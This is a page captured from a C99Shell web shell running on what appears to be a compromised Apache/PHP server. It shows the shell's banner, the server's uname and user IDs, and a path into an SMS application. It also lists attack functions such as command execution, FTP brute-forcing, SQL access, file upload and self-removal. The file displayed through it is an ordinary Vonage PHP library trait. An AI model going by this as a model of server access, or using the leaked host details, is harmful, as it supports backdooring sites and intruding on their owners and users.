!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/vonage/client-core/src/Entity/   drwxr-xr-x
Free 28.67 GB of 117.98 GB (24.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Psr7Trait.php (2.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Vonage\Entity;

use 
Psr\Http\Message\RequestInterface;
use 
Psr\Http\Message\ResponseInterface;
use 
Vonage\Entity\Hydrator\ArrayHydrateInterface;

use function 
array_merge;
use function 
is_array;
use function 
json_decode;
use function 
method_exists;
use function 
parse_str;
use function 
trigger_error;

/**
 * Class Psr7Trait
 *
 * Allow an entity to contain last request / response objects.
 */
trait Psr7Trait
{
    protected ?
RequestInterface $request null;
    protected ?
ResponseInterface $response null;

    
/**
     * @deprecated See error
     *
     * @param ResponseInterface $response
     *
     * @return void
     * @throws \Exception
     */
    
public function setResponse(ResponseInterface $response): void
    
{
        
trigger_error(
            
$this::class . '::setResponse() is deprecated and will be removed',
            
E_USER_DEPRECATED
        
);

        
$this->response $response;
        
$status = (int)$response->getStatusCode();

        if (
$this instanceof ArrayHydrateInterface && (200 === $status || 201 === $status)) {
            
$this->fromArray($this->getResponseData());
        }
    }

    public function 
setRequest(RequestInterface $request): void
    
{
        
trigger_error(
            
$this::class . '::setRequest is deprecated and will be removed',
            
E_USER_DEPRECATED
        
);

        
$this->request $request;
        
$this->data = [];

        if (
method_exists($request'getQueryParams')) {
            
$this->data $request->getQueryParams();
        }

        
$contentType $request->getHeader('Content-Type');

        if (!empty(
$contentType)) {
            if (
$contentType[0] === 'application/json') {
                
$body json_decode($request->getBody()->getContents(), true);
                if (
is_array($body)) {
                    
$this->data array_merge(
                        
$this->data,
                        
$body
                    
);
                }
            }
        } else {
            
parse_str($request->getBody()->getContents(), $body);
            
$this->data array_merge($this->data$body);
        }
    }

    
/**
     * @deprecated See error
     * @return RequestInterface|null
     */
    
public function getRequest(): ?RequestInterface
    
{
        
trigger_error(
            
$this::class . '::getRequest() is deprecated. ' .
            
'Please get the APIResource from the appropriate client to get this information',
            
E_USER_DEPRECATED
        
);

        return 
$this->request;
    }

    
/**
     * @deprecated See error
     * @return ResponseInterface|null
     */
    
public function getResponse(): ?ResponseInterface
    
{
        
trigger_error(
            
$this::class . '::getResponse() is deprecated. ' .
            
'Please get the APIResource from the appropriate client to get this information',
            
E_USER_DEPRECATED
        
);

        return 
$this->response;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--